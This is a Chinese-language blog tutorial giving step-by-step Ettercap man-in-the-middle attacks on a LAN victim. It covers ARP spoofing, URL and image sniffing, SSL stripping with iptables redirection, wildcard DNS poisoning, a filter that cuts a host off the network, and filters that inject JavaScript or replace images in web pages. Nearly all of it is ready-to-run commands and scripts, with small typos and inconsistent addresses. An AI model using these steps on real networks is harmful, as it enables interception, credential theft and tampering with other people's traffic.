天天看點

Ettercap 實施中間人攻擊 [實戰篇]

中間人攻擊(MITM)該攻擊很早就成為了黑客常用的一種古老的攻擊手段,并且一直到如今還具有極大的擴充空間,MITM攻擊的使用是很廣泛的,曾經猖獗一時的SMB會話劫持、DNS欺騙等技術都是典型的MITM攻擊手段.在黑客技術越來越多的運用于以擷取經濟利益為目标的情況下時,MITM攻擊成為對網銀、網遊、網上交易等最有威脅并且最具破壞性的一種攻擊方式.

主機清單 IP位址 網關位址 主機作用
Windows 10 192.168.1.2/24 192.168.1.1 被害主機
Kali Linux 192.168.1.9/24 攻擊主機

抓取内網流量

該方法是最常用的一種攻擊方式,主要可以實作對内網主機發起ARP欺騙,進而截取内網主機的流量,但該方法隻能截獲未加密的資料流加密後是無法破解的,以下例子将示範流量抓取與分析.

開啟APR欺騙: 首先在

kali linux

上執行以下指令,開啟ARP欺騙.

root@kali:~# ettercap -i eth0 -T -M arp:remote /192.168.1.2// /192.168.1.1// -q

	-i eth0           #指定網卡接口
	-T                #文本模式顯示
	-M                #指定為雙向ARP欺騙
	/192.168.1.2//    #為要攻擊的IP位址
	/192.168.1.1//    #本地的網關位址
           

截取目标RUL: 上面終端不要關閉,啟用

urlsnarf

工具指定主機通路的URL.

root@kali:~# urlsnarf -i eth0 |awk '{print $1 " ---> " $7}'

192.168.1.2 ---> http://www.mkdirs.com
192.168.1.2 ---> http://www.baidu.com/
192.168.1.2 ---> http://www.cnblogs.com/lyshark
           

截取目标圖檔: 當然也可以使用

driftnet

工具截取指定主機的圖檔流.

root@kali:~# driftnet -i eth0
           

HTTPS降級嗅探

對SSL流量的嗅探,可以使用sslstrip這個工具,它的原理就是把所有的https流量降級為http流量,相當于一個中間人的角色,它與伺服器建立正常的https連接配接,而與浏覽器則使用http連接配接,使用時需要本機開啟流量轉發,将80端口的http流量同時轉發到10000端口上,在10000端口上使用sslstrip來監聽即可:

1.通過指令收集區域網路的IP位址資訊,和網關等.

root@kali:~# ifcofing       #指令檢視目前網關
root@kali:~# netdiscover    #擷取到目前目标IP
           

2.開啟核心轉發功能保證攻擊過程中被攻擊者不斷網.

root@kali:~# echo "1" > /proc/sys/net/ipv4/ip_forward
           

3.使用iptables把80端口的流量轉發到sslstrip監聽的10000端口上.

root@kali:~# iptalbes -t nat -F
root@kali:~# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 10000
root@kali:~# iptables -t nat -A PREROUTING -p tcp -–destination-port 80 -j REDIRECT –to-ports 10000
root@kali:~# iptables -t nat -L
           

4.啟用

sslstrip

并啟動ettercap對目标主機進行arp攻擊.

root@kali:~# sslstrip -l 10000
root@kali:~# ettercap -i eth0 -T -M arp:remote /192.168.1.2// /192.168.1.1//
           

此時當使用者浏覽的網頁中包含https協定,會被轉化為http協定的請求.但是sslstrip也不是萬能的,假如網頁中沒有https,但是js代碼綁定了跳轉到https的協定請求的事件,那麼sslstrip就失效了.如果使用者打開網頁的時候請求就是https,會導緻證書認證失敗,網頁一直打不開.

DNS區域網路投毒

該配置主要用于實作控制區域網路中網絡的通路,例如可以指定将所有通路

baidu.com

的請求轉到通路

192.168.1.9

這台主機上,我們可以在這台主機上配合後門,這樣的話所有内網主機都會預設通路我們的網址,進而實作區域網路中網站頁面的重定向.

1.安裝并啟動apache服務程式,後期我們要将頁面跳轉到kali的http服務上.

root@kali:~# echo "hello lyshark" > /var/www/html/index.html
root@kali:~# systemctl restart apache2
           

2.通過使用

netdiscover指令

擷取到主機資訊,這裡主要來确定一下

192.168.1.1是網關

,而

192.168.1.2

為被攻擊主機.

root@kali:~# netdiscover

Currently scanning: 192.168.1.0/24   |   Screen View: Unique Hosts
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180               
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.1.1     11:72:se:c7:se:af      1      60  TP-LINK TECHNOLOGIES
 192.168.1.2     ac:3s:ca:xf:g1:w8      1      60  Dell Inc.
 192.168.1.9     f2:1e:28:4e:4c:s4      1      60  kali linux.
           

3.配置跳轉位址,将所有通路

.com,.org

的網頁請求,全部跳轉到本機的apache上.

root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.8  netmask 255.255.255.0  broadcast 192.168.1.255    确認自身IP位址

root@kali:~# vim /etc/ettercap/etter.dns 
################################
# microsoft sucks ;)
# redirect it to www.linux.org
#

*.com A 192.168.1.9          #添加跳轉頁面,意思是隻要是.com結尾的,跳轉到本機IP
*.org A 192.168.1.9          #添加跳轉頁面,意思是隻要是.com結尾的,跳轉到本機IP

microsoft.com      A   107.170.40.56
*.microsoft.com    A   107.170.40.56
www.microsoft.com  PTR 107.170.40.56      # Wildcards in PTR are not allowed
           

4.開啟轉發,并啟動中間人攻擊,此時被攻擊主機通路指定規則頁面,都會跳轉到我們的網站上.

root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@kali:~# ettercap -i eth0 -T -P dns_spoof -M arp /192.168.1.2// /192.168.1.1// -q
root@kali:~# ettercap -i eth0 -T -P dns_spoof -M arp /// /192.168.1.1// -q
           

禁止主機上網

1.編寫一個過濾腳本,下面的腳本名為

lyshark.txt

,内容如下.

root@kali:~# vim lyshark.txt

if (ip.src == '預設網關') {
   kill();
   drop();
   msg("kill all");
}
if (ip.src == '被攻擊主機IP') {
   kill();
   drop();
   msg("kill all");
}
           

2.編譯成ettercap可以識别的二進制的二進制檔案.

root@kali:~#  etterfilter lyshark.txt -o lyshark.ef
           

3.使用ettercap加載此腳本,欺騙全網段可以使用

///

代表.

ettercap -i eth0 -T -F lyshark.ef -M arp:remote /192.168.1.2// /192.168.1.1//  // 欺騙指定主機
ettercap -i eth0 -T -F lyshark.ef -M arp:remote /// /192.168.1.1//             // 欺騙全網段
           

向網頁注入代碼

該功能可以實作向網頁中注入特定的代碼.

lyshark.txt

# 攔截受害者發送的請求,将封包壓縮方式由gzip降級為不壓縮
if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, "Accept-Encoding")) {
           pcre_regex(DATA.data,"(Accept-Encoding:).*([\r\n])","$1 identity$2");
           msg("chage encoding");
    }
}

# 對于伺服器響應,向head中注入js
if (ip.proto == TCP && tcp.src == 80) {
    if (search(DATA.data, "<head>")) {
        replace("<head>","<head><script>alert('hello lyshark')</script>");
    }
}
           

需要注意,這裡要對請求頭的

Accept-Encoding進行篡改

,否則響應預設使用gzip編碼的,這樣我們直接注入明文js是無效的,将編碼方式降級為Identity,服務端會傳回明文封包,同時用戶端也不會再對封包進行一次解碼.

root@kali:~#  etterfilter lyshark.txt -o lyshark.ef
           

///

ettercap -i eth0 -T -F ig.ef -M ARP:remote -w network.pcap /192.168.1.2// /192.168.1.1//
           

替換頁面資料

1.以下腳本可實作将頁面中所有

img src=

相關的圖檔全部替換成,指定網址中的圖檔.

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!"); 
      msg("zapped Accept-Encoding!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("img src=", "img src=\"http://www.mkdirs.com/lyshark.jpg\" ");
   replace("IMG SRC=", "img src=\"http://www.mkdirs.com/lyshark.jpg\" ");
   msg("Filter Ran.\n");
}
           

2.編譯這個檔案.

etterfilter exe.filter -o exe.ef
           

3.使用ettercap調用過濾腳本發動ARP攻擊毒化目标主機的ARP緩存

ettercap -Tq -i wlan0 -F exe.ef -M arp:remote /192.168.1.9/  /192.168.1.1/
           
文章出處:

https://www.cnblogs.com/LyShark/p/10637614.html

版權聲明:

本部落格文章與代碼均為學習時整理的筆記,部落格中除去明确标注有參考文獻的文章,其他文章

[均為原創]

作品,轉載請

[添加出處]

,您添加出處是我創作的動力!

如果您惡意轉載本人文章并被本人發現,則您的整站文章,将會變為我的原創作品,請互相尊重 !